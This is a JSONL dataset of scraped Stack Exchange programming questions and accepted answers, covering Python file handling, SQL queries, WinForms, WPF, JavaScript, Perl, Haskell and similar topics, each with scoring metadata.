{"id": "hf_f8f133ca051c", "question": "<p>I would like to remove two files from a folder at the conclusion of my script. Do I need to create a function responsible for removing these two specific files? I would like to know in some detail how to use os.remove (if that is what I should use) properly. These two files will always be discarded at the conclusion of my script (which packages a series of files together in a zip format). Thanks in advance.  </p>\n", "question_body": "", "answer": "Just call\n```\nos.remove(\"path/to/file\")\n```\n. For example, to remove the file\n```\n.emacs\n```\n, call\n```\n```\nos.remove(\".emacs\")\n```\n```\nThe path should be a\n```\nstr\n```\nthat's the pathname of the file. It may be relative or absolute.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:40.077832"}
{"id": "hf_bc00345fcee4", "question": "<p>This is a subjective question, but I need opinions.</p>\n\n<p>I have a WinForms C# application whose window hides itself after a specific keystroke (Enter or Escape), with possible modifiers (e.g. Ctrl-Enter). When hiding on KeyDown or KeyPress, the other application that becomes active after my window hides itself receives the KeyUp event for that keystroke. Normally, it shouldn't affect that other application, but some of them out there react on KeyUp. For example, TweetDeck sends the message currently being edited on \"Enter\" KeyUp, even if it did not receive KeyDown/KeyPress.</p>\n\n<p>So I thought, fine, I'll be a good citizen, I'll hide on KeyUp. But this doesn't feel right. If I only look for keys up, I'm doing what I blame others of doing! If I try to create an history of matching KeyDown/KeyUp, I'm over-complicating my code (modifiers generate their own key up).</p>\n\n<p>What should I do? What should a well-implemented application do?</p>\n", "question_body": "", "answer": "This is a hack, but you can set the state of your program to \"pending hide\" when receive the key down.  And then when you get the key up for that sequence, reset the \"pending state\" and then hide.\nAlternatively, can you just \"eat\" the key up off the message queue after you receive the key down?\nI would not worry too much about applications handling key up rather than key down - like you point out - the only reason this is an issue is because your app changes active windows in the middle of a key down key up sequence.  It is your responsibility (IMO) to also \"eat\" the key up messages.  You can probably just handle the key up instead of key down with no adverse side effects.\nEDIT\nThinking about this further - when doing alt-tab to go to a new window - the action does not happen until the key up.  In the meantime it shows a window of possible apps to change to.  You can do similar action and the behavior has a precedent.\nSo: \nOn key down: Display window that indicates app will hide.\non key up: hide window\nThis is \"stateful\" - you can only go into hiding if you received the key down and the key up - at least that is what I would do.  99.9999% (guess) not handling key down would be ok.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:40.101745"}
{"id": "hf_1332fc1609f1", "question": "<p>Once I have all the files I require in a particular folder, I would like my python script to zip the folder contents. </p>\n\n<p>Is this possible? </p>\n\n<p>And how could I go about doing it?</p>\n", "question_body": "", "answer": "Here is a recursive version\n```\n```\ndef zipfolder(path, relname, archive):\n    paths = os.listdir(path)\n    for p in paths:\n        p1 = os.path.join(path, p) \n        p2 = os.path.join(relname, p)\n        if os.path.isdir(p1): \n            zipfolder(p1, p2, archive)\n        else:\n            archive.write(p1, p2) \n\ndef create_zip(path, relname, archname):\n    archive = zipfile.ZipFile(archname, \"w\", zipfile.ZIP_DEFLATED)\n    if os.path.isdir(path):\n        zipfolder(path, relname, archive)\n    else:\n        archive.write(path, relname)\n    archive.close()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:40.126546"}
{"id": "hf_cf1ead6ea366", "question": "<p>I have a user control where the XAML of the control can bind to the appropriate properties from the parent's data context like normal (the data context propagates in xaml). </p>\n\n<p>For example, I have a window whose DataContext I am setting to ObjectA for example. My user control within the window is then try to access the properties within the dataContext</p>\n\n<p>So my window's xaml and code behind can both see a non-null DataContext. </p>\n\n<p>My control that DataContext propagates to can see a non-null DataContext in the Xaml but not in the code behind.</p>\n\n<p>What is the proper way of handling this?</p>\n", "question_body": "", "answer": "I think you are checking the 'DataContext' in the constructor of the UserControl. It will be null at the Constructor since the user control hasnt yet created while execution is in the constructor code. But check the property at Loaded event you will see the object properly.\n```\n```\npublic partial class UserControl1\n{\n    public UserControl1()\n    {\n        this.InitializeComponent();\n\n        //DataContext will be null here \n        this.Loaded += new RoutedEventHandler(UserControl1_Loaded);\n    }\n\n    void UserControl1_Loaded(object sender, RoutedEventArgs e)\n    {\n        //Check DataContext Property here - Value is not null\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:40.162559"}
{"id": "hf_6e9f20eed994", "question": "<p>I have a Win32 console application which is doing some computations, compiled in Compaq Visual Fortran (which probably doesn't matter). </p>\n\n<p>I need to run a lot of them simultaneously.</p>\n\n<p>In XP, they take around 90-100% CPU together, work very fast.\nIn Vista, no matter how many of them I run, they take no more than 10% of CPU (together), and work very slow respectively.</p>\n\n<p>There is quite a bit of console output going on, but now VERY much.\nI can minimize all the windows, it does not help. CPU is basically doing nothing...</p>\n\n<p>Any ideas?</p>\n\n<p><strong>Update:</strong></p>\n\n<p>No, these are different machines, but they run relatively the same hardware. 2. Threads are not used, this is a VERY OLD (20 yrs) plain app for DOS, compiled in win32. It is supposed to compute iterations until they meet, consume all it has. My impression - VISTA just does NOT GIVE IT MORE CPU</p>\n", "question_body": "", "answer": "Is it the same machine hardware on your Vista and XP? It might use just 10% of the Vista because it doesn't require more. Are you using Thread? I think it requires more information about your project to have a better idea. Have you try to use a profiler to see what's going on?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:40.223594"}
{"id": "hf_0b21b2d0930e", "question": "<h1>Example</h1>\n<p>There is an application that measures temperature in each town of the world. Each measurement is taken every 5 minutes and written in to the Measurement table.</p>\n<pre><code>CREATE TABLE [dbo].[Measurement](\n    [MeasurementID] [int] IDENTITY(1,1) NOT NULL,\n    [Town] [varchar](50) NOT NULL,\n    [Date] [datetime] NOT NULL,\n    [Temp] [int] NOT NULL,\nCONSTRAINT [PK_Measurement] PRIMARY KEY CLUSTERED \n(\n    [MeasurementID] ASC\n)) ON [PRIMARY]\n</code></pre>\n<h1>Question</h1>\n<p>What is the most efficient query to get a list of the towns and their current temperature?</p>\n<p>Assume there are 100k towns and 10 million records</p>\n<p><em>NOTE: I have added a couple of possible answers, but there are probably other options.</em></p>\n", "question_body": "", "answer": "```\n```\nselect s.*\nfrom Measurement s\nwhere exists ( \n   select 1\n   from Measurement s1\n   where s.Town = s1.Town\n   group by s1.Town\n   having max( s1.Date )= s.Date)\n   order by s.Town\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:40.248638"}
{"id": "hf_6da2cd66eecc", "question": "<p>What's the different between SCSF and Acropolis ?</p>\n", "question_body": "", "answer": "http://en.wikipedia.org/wiki/Microsoft_codename_Acropolis\nhttp://msdn.microsoft.com/en-us/library/aa480482.aspx\nAcropolis has not been released yet. SCSF is available now? Not sure what else you could find out since one of them technically is not in existence :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:40.289737"}
{"id": "hf_debc75375fa9", "question": "<p>I understand how Lucene.net can work for text indexing. Will I be able to efficiently search for documents based on a given date range? Or will Lucene.net just use text matching to match the dates?</p>\n", "question_body": "", "answer": "Lucene.Net will just use text matching, so you'd need to format the dates correctly before adding to the index:\n```\n```\npublic static string Serialize(DateTime dateTime)\n    {\n        return dateTime.ToString(\"yyyyMMddHHmmss\", CultureInfo.InvariantCulture);\n    }\n\n    public static DateTime Deserialize(string str)\n    {\n        return DateTime.ParseExact(str, \"yyyyMMddHHmmss\", CultureInfo.InvariantCulture);\n    }\n```\n```\nYou can then, for example, perform a range based query to filter by date (e.g. 2006* to 2007* to include all dates in 2006 and 2007).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:40.340223"}
{"id": "hf_647a3ff443de", "question": "<p>I am looking for a way to mount\\unmount a USB flash drive using VBScript.  This is the closest I was able to get.</p>\n\n<pre><code>Sub EjectDrive(strDrive)\nOn Error Resume Next\nCONST SSF_DRIVES = 17\nSet objShell = CreateObject(\"Shell.Application\")\nSet objDrive = objShell.Namespace(SSF_DRIVES).ParseName(strDrive)\nobjDrive.InvokeVerb \"E&amp;ject\"\nEnd Sub\n</code></pre>\n", "question_body": "", "answer": "This will work on Windows Server 2003, but not NT/2000/XP/Vista unfortunately.\n```\n```\nstrComputer = \".\"\nSet objWMIService = GetObject(\"winmgmts:\" _\n    & \"{impersonationLevel=impersonate}!\\\\\" & strComputer & \"\\root\\cimv2\")\n\nSet colItems = objWMIService.ExecQuery _\n    (\"Select * From Win32_Volume Where Name = 'E:\\\\'\")\n\nFor Each objItem in colItems\n    objItem.Dismount(True, True)\nNext\n```\n```\nFrom\nDismount a Volume\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:40.363743"}
{"id": "hf_f84885a56ba4", "question": "<p>Greetings!</p>\n\n<p>I'm scratching my head, wondering why when I do the following:</p>\n\n<pre><code>Response.Redirect(@\"http://www.example.com/file.exe?id=12345\");\n</code></pre>\n\n<p>Both IE6 and IE7 will download the file as \"file\" (with no extension), but Firefox, Opera, Google Chrome and Safari have no problems at all downloading the file as \"file.exe\".</p>\n\n<p>Any idea what IE6/7's problem is and how can I fix this?</p>\n", "question_body": "", "answer": "Have You tried to set correct content-type in Your response headers? For example:\n```\n```\nContent-Type: application/octet-stream\nContent-Disposition: attachment; filename=\"file.exe\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:40.463059"}
{"id": "hf_129cc6fa3ab1", "question": "<p>FreeMarker templates support an if-statement with the following syntax</p>\n\n<pre><code>&lt;#if hot&gt; \n  It's hot.\n&lt;/#if&gt;  \n</code></pre>\n\n<p>I've looked in the documentation and can't find any support for an if-else statement. Of course, I could achieve the same result with:</p>\n\n<pre><code>&lt;#if hot&gt; \n  It's hot.\n&lt;/#if&gt;  \n&lt;#if !hot&gt; \n  It's not hot.\n&lt;/#if&gt;  \n</code></pre>\n\n<p>Is there support for if-else in FreeMarker?</p>\n", "question_body": "", "answer": "Yes, you can write:\n```\n```\n<#if hot>\nit's hot\n<#else>\nit's not\n</#if>\n```\n```\nAnd if you're doing lots of freemarker, I really can recommend IntelliJ IDEA 8, its freemarker support really helps...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:40.487225"}
{"id": "hf_ce420116b144", "question": "<p>I have a function, <code>a()</code>, that I want to override, but also have the original <code>a()</code> be performed in an order depending on the context. For example, sometimes when I'm generating a page I'll want to override like this:</p>\n\n<pre><code>function a() {\n    new_code();\n    original_a();\n}\n</code></pre>\n\n<p>and sometimes like this:</p>\n\n<pre><code>function a() {\n    original_a();\n    other_new_code();\n}\n</code></pre>\n\n<p>How do I get that <code>original_a()</code> from within the over-riding <code>a()</code>? Is it even possible?</p>\n\n<p>Please don't suggest alternatives to over-riding in this way, I know of many. I'm asking about this way specifically.</p>\n", "question_body": "", "answer": "You could do something like this:\n```\n```\nvar a = (function() {\n    var original_a = a;\n\n    if (condition) {\n        return function() {\n            new_code();\n            original_a();\n        }\n    } else {\n        return function() {\n            original_a();\n            other_new_code();\n        }\n    }\n})();\n```\n```\nDeclaring\n```\noriginal_a\n```\ninside an anonymous function keeps it from cluttering the global namespace, but it's available in the inner functions.\nLike Nerdmaster mentioned in the comments, be sure to include the\n```\n()\n```\nat the end. You want to call the outer function and store the\nresult\n(one of the two inner functions) in\n```\na\n```\n, not store the outer function itself in\n```\na\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:40.574442"}
{"id": "hf_4cc79be91090", "question": "<p>I am trying to autoreload my page after every 20 seconds. I am using JavaScript for this instead of the &lt;meta>.</p>\n\n<p>I have &lt;body onload=\"SetTimer()\">\nand here is my JavaScript function</p>\n\n<pre><code>    function SetTimer(){\n        setTimeout('window.location.replace(window.location.pathname)', 20000)\n    }\n</code></pre>\n\n<p>Now my problem is I also pass a parameter within the querystring when this page is loaded first. But when the page relaods again (<code>window.location.pathname</code> does not include the parameter) hence I am not able to assign values to the labels on the page which is based on the parameters passed.</p>\n", "question_body": "", "answer": "window.location will include the GET parameters that were that was passed.\n```\n```\nfunction SetTimer(){ \n    setTimeout('window.location.replace(window.location)', 20000)\n}\n```\n```\nIf you are submitting parameters through POST, the best method will probably be to create a form with hidden inputs for each parameter.  Submit the form every twenty seconds.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:40.612942"}
{"id": "hf_b749e1db8c1f", "question": "<p>I'm creating a (Java) class to represent an object in a musical score that has a specific onset time, and possibly a duration as well.  I need a good name for this class.  Is something like \"Timed\" or \"TimedObject\" appropriate?  I've tried to come up with something that ends in \"-able\" (like Runnable) but I can't think of anything good; \"OnsetTimeable\" sounds silly, because \"OnsetTime\" isn't a verb.  I don't really like \"MusicalObject\" either since that doesn't imply the object has an onset time (a \"musical object\" could be anything related to the score).</p>\n\n<p>Update:  Musically, this class represents an abstraction of something that happens at a point in time in the score. This is supposed to be the superclass of classes like Note, KeyChange, MeterChange, DynamicMarking, TempoMark, etc.</p>\n", "question_body": "", "answer": "What is the main service (or services) your object is supposed to propose to the rest of your system ?\nI believe its name should represents the\nabstraction\nyou want to make by designing it in the first place.\nSo far, we know what your object is made of (an onset times, ...), but we do not know what is\ndoes\n, and more importantly as\nbaash05\npoints out, what it\nis\n: in a word, what it represents.\nAs mentioned in the question\nWhat’s the best approach to naming classes?\n,\nthe single responsibility principle\ncan also be a good approach.\nIf it must represent some common structure of any characteristics of a score (note, ...), a name like\nScoreAttribute\ncould be appropriate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:40.650669"}
{"id": "hf_126b53042b5a", "question": "<p>I need to unzip a compressed file on the fly in my program.  It works when I try it on my own linux computer, but for some reason the school computers fail whenever I tell them to do it.  To unzip I'm using the following command:</p>\n<pre><code> zcat /file/address/file.tar.gz\n</code></pre>\n<p>and get the error:</p>\n<pre><code> /file/address/file.tar.gz.Z: No such file or directory\n</code></pre>\n<p>I tried looking through the documentation but couldn't find a flag to turn off this odd behavior.</p>\n", "question_body": "", "answer": "Your school's system still has the old \"compress\" style utilities rather than the newer GNU \"gzip\" based ones.\nYou need to use\n```\ngzcat\n```\nrather than\n```\nzcat\n```\n, assuming that it's available.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:40.676152"}
{"id": "hf_7ec2c0859e54", "question": "<p>What's a good rule of thumb for naming methods that return properties/attributes/members of an object?  If an object has some immutable quality \"blarg\", should a method that returns that quality be called \"blarg()\" or \"getBlarg()\"?  The Java API, for example, is inconsistent: most properties are accessed through \"get\" methods (even those that don't have corresponding \"set\" methods), but yet we also have things like Object.hashCode() instead of Object.getHashCode().  </p>\n\n<p>Update: Should whether or not it's the property is a field (in the implementation) be the determiner here?  What about a class to represent immutable points in 2-d space?  Regardless of whether the point is stored as (x,y) or (r,theta), I would still want accessors for all four properties.  Should they be getX(), getY(), etc, or just x(), y(), etc?  From the point of view of the user, shouldn't all four have the same naming convention since we don't want our user to know/care about our implementation?</p>\n", "question_body": "", "answer": "I believe the most often used conventions are:\n```\n```\nGetBlarg() or getBlarg()\n```\n```\nIt could be argued that the name\n```\nGetHashCode()\n```\nis incorrect, since the object doesn't have a field called\n```\nhashcode\n```\nand that it's calculated.\nThese are of course all conventions, not rules, and most of them have evolved over a long time and as such are not 100% consistent.\nRegards\nK", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:40.701142"}
{"id": "hf_c3fcc9c6a5fa", "question": "<p>When is it appropriate to use &lt;cflock scope=\"application\"&gt; or it's ilk as opposed to &lt;cflock name=\"foo\"&gt;?  </p>\n\n<p>Specifically, I'm interested in using CFLock to protect shared objects in the application, session, or server scopes, but I'm also interested in finding out about different uses of locking in ColdFusion.</p>\n", "question_body": "", "answer": "Typically you should always use cflock for session, application and server vars any time you're reading or changing those vars outside of an Application.cfc so as to prevent race-conditions.  Here's an article that may be helpful:\nhttp://www.horwith.com/index.cfm/2008/4/28/cflock-explained\nEdit:\nTo further answer your question about scope, I always use\n```\n<cflock scope=\"application\">\n```\n(for example) whenever interacting with shared resources.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:40.725588"}
{"id": "hf_3cc07ba5be0f", "question": "<p>I am creating a new table inside mysql and I am trying to add a foreign key constraint to one of the fields.</p>\n\n<pre>\nCREATE TABLE `onlineorder` (\n  `receiptid` varchar(10) NOT NULL default '',\n  `delivereddate` date default NULL,\n  `cid` int(10) NOT NULL,\n  `card#` int(10) default NULL,\n  `expire` date default NULL,\n  PRIMARY KEY  (`receiptid`),\n  FOREIGN KEY (receiptid) REFERENCES purchase\n) ENGINE=MyISAM DEFAULT CHARSET=latin1;\n\n</pre>\n\n<p>However, after it creates it, I go into phpMyAdmin and export the table.  and it seems like the foreign key constraint has disappeared.</p>\n\n<pre>\nCREATE TABLE `onlineorder` (\n  `receiptid` varchar(10) NOT NULL default '',\n  `delivereddate` date default NULL,\n  `cid` int(10) NOT NULL,\n  `card#` int(10) default NULL,\n  `expire` date default NULL,\n  PRIMARY KEY  (`receiptid`)\n) ENGINE=MyISAM DEFAULT CHARSET=latin1;\n</pre>\n\n<p>Does phpMyAdmin get rid of foreign keys or am I doing something wrong here?</p>\n", "question_body": "", "answer": "You need to use the InnoDB engine to have foreign keys.\nRef:\nhttp://dev.mysql.com/doc/refman/5.0/en/innodb-foreign-key-constraints.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:40.762878"}
{"id": "hf_57eff5c172ae", "question": "<p>I'd love to know if there is a module to parse \"human formatted\" dates in Perl. I mean things like \"tomorrow\", \"Tuesday\", \"next week\", \"1 hour ago\".</p>\n\n<p>My research with CPAN suggest that there is no such module, so how would you go about creating one? NLP is way over the top for this.</p>\n", "question_body": "", "answer": "Date::Manip\ndoes exactly this.\nHere is an example program:\n```\n```\n#!/usr/bin/perl\n\nuse strict;\nuse Date::Manip;\n\nwhile (<DATA>)\n{\n  chomp;\n  print UnixDate($_, \"%Y-%m-%d %H:%M:%S\"),  \" ($_)\\n\";\n}\n\n__DATA__\ntoday\nyesterday\ntomorrow\nlast Tuesday\nnext Tuesday\n1 hour ago\nnext week\n```\n```\nWhich results in the following output:\n```\n```\n2008-11-17 15:21:04 (today)\n2008-11-16 15:21:04 (yesterday)\n2008-11-18 15:21:04 (tomorrow)\n2008-11-11 00:00:00 (last Tuesday)\n2008-11-18 00:00:00 (next Tuesday)\n2008-11-17 14:21:04 (1 hour ago)\n2008-11-24 00:00:00 (next week)\n```\n```\nUnixDate is one of the functions provided by\n```\nDate::Manip\n```\n, the first argument is a date/time in any format that the module supports, the second argument describes how to format the date/time.  There are other functions that just parse these \"human\" dates, without formatting them, to be used in delta calculations, etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:40.818995"}
{"id": "hf_082da4b9d548", "question": "<p>Why does Resharper want you to change most variables to var type instead of the actual type in the code?</p>\n", "question_body": "", "answer": "It's just an option. You can disable it:\nReSharper -> Options -> Code Inspection -> Inspection Severity -> Code Redundencies -> Use 'var' keyword where possible: change this to \"Do not show\"\nThere's also the context (lightbulb) option which will take you in each direction - this is under ReSharper -> Options -> Languages -> C# -> Context Actions -> \"Replaces explicit type declaration with 'var'\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:40.925164"}
{"id": "hf_c0a02d7fb4a6", "question": "<p>In SQL Server Mgt Studio 2005, when I open the Object Explorer to script an object to a new Query Editor window, the tab for that new script window is titled something like 'MyServerName.MyDatabaseName - sqlquery37.sql' </p>\n\n<p>Not very descriptive. So when I get a bunch of windows open at the same time, I have no idea which one is which. </p>\n\n<p>The 'Active Files' dropdown is useless because of this.</p>\n\n<p>Is there a way to configure Mgt. Studio so that the Query Editor Window tab title more accurately reflects the object that I'm working on?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Not [easily] without actually saving the script window to a file - then you get\n```\n```\nMyServerName.MyDatabaseName - MyFileName.sql\n```\n```\nas the title.\nYou might be able to change this with a plugin/add-on, but not without writing code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:40.950143"}
{"id": "hf_511380dfb2b8", "question": "<p>When I open a file for reading in Haskell, I've found that I can't use the contents of the file after closing it. For example, this program will print the contents of a file:</p>\n\n<pre><code>main = do inFile &lt;- openFile \"foo\" ReadMode\n          contents &lt;- hGetContents inFile\n          putStr contents\n          hClose inFile\n</code></pre>\n\n<p>I expected that interchanging the <code>putStr</code> line with the <code>hClose</code> line would have no effect, but this program prints nothing:</p>\n\n<pre><code>main = do inFile &lt;- openFile \"foo\" ReadMode\n          contents &lt;- hGetContents inFile\n          hClose inFile\n          putStr contents\n</code></pre>\n\n<p>Why does this happen? I'm guessing it has something to do with lazy evaluation, but I thought these expressions would get sequenced so there wouldn't be a problem. How would you implement a function like <code>readFile</code>?</p>\n", "question_body": "", "answer": "The explanation is rather long to be included here. Forgive me for dispensing a short tip only: you need to read about \"semi-closed file handles\" and \"unsafePerformIO\".\nIn short - this behaviour is a design compromise between a semantic clearness and lazy evaluation. You should either postpone hClose until you are absolutely sure you woudnt be doing anything with the file content (like, call it in error handler, or somesuch), or use something else besides hGetContents to get file contents non-lazily.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:40.975556"}
{"id": "hf_1162a2086e84", "question": "<p>How can I get the name of a file in in PHP?   What I want to do is have a function take a string of a filename and then do some stuff if it's actually on the page.</p>\n\n<pre><code>function onThisPageFunction(fileNameFromFunction)  \n{  \n  if(onThisPage == fileNameFromFunction)  \n  {  \n    do stuff  \n  }  \n}\n</code></pre>\n", "question_body": "", "answer": "If I understand correctly you want\n```\n__FILE__\n```\n.\nRef:\nhttp://php.net/manual/en/language.constants.predefined.php", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:41.025978"}
{"id": "hf_b20751058193", "question": "<p>I have a 5GB database and a 20GB transaction log (SQL Server 2005). Not sure why it is so large or what happened to make it that large, it used to be around 1/2 the size of the DB. DB grows about 1GB/month. </p>\n\n<p>Are there any guidelines to how how big your transaction log should be relative to your database file size? </p>\n\n<p>EDIT: I'm not saying my transaction log is huge (I know some DBAs would laugh at my weenie-sized DB), just in relation to the DB file I think it is huge.</p>\n", "question_body": "", "answer": "If you have a lot of transactional behavior, it's not uncommon at all. However, you probably should investigate means of making it smaller. There are quite a few options for this, but without knowing your recovery model, I could never presume to make a recommendation. Start with this\nMSDN link\n, this\nknowledge base article\n, then move from there. Carefully. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:41.051556"}
{"id": "hf_b8656a8ffa25", "question": "<p>Given an amount of days, say 25, convert it into a duration text such as \"3 Weeks, 4 Days\"</p>\n\n<p>C# and F# solutions would both be great if the F# variation offers any improvement over C#.</p>\n\n<p>Edit: The solution should expand past weeks to include months and years. Bonus points for including centuries and so on. Extra bonus if it is somewhat configurable, meaning you can tell the method to exclude the normalization of weeks. </p>\n", "question_body": "", "answer": "```\n```\nString.Format(\"{0} Weeks, {1} days\", days / 7, days % 7);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:41.093657"}
{"id": "hf_ad416fcd9dcb", "question": "<p>In ActionScript, how can you test if an object is defined, that is, not null?</p>\n", "question_body": "", "answer": "Just test it against null.\n```\n```\nvar someObj:Object = getSomeObjectOrMaybeNull();\nif(someObj == null) {\n  trace(\"someObj is null!\");\n} else {\n  trace(\"someObj is not null!\");\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:41.145362"}
{"id": "hf_5737d5f36cb1", "question": "<p>I am powering a web search using Sphinx, and am getting the following error message while building the indexes:</p>\n\n<blockquote>\n  <p>WARNING: sort_hits: merge_block_size=76 kb too low, increasing mem_limit may improve performance</p>\n</blockquote>\n\n<p>The problem is I can't find any documentation on where this setting is configured. I'm somewhat versed on Sphinx setup, so I just need to know where the setting is configured.</p>\n", "question_body": "", "answer": "This is probably happening because you're trying to index too many items at once.  Make sure you're using\nranged queries\n.  If you're already using ranged queries, increasing the\n```\nmem_limit\n```\n, as it suggests, may help.  The\n```\nmerge_block_size\n```\nis based on\n```\nmem_limit\n```\nand the number of documents.\nIf you're curious as to how it generates that number, check out the source.  It's freely available.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:41.183816"}
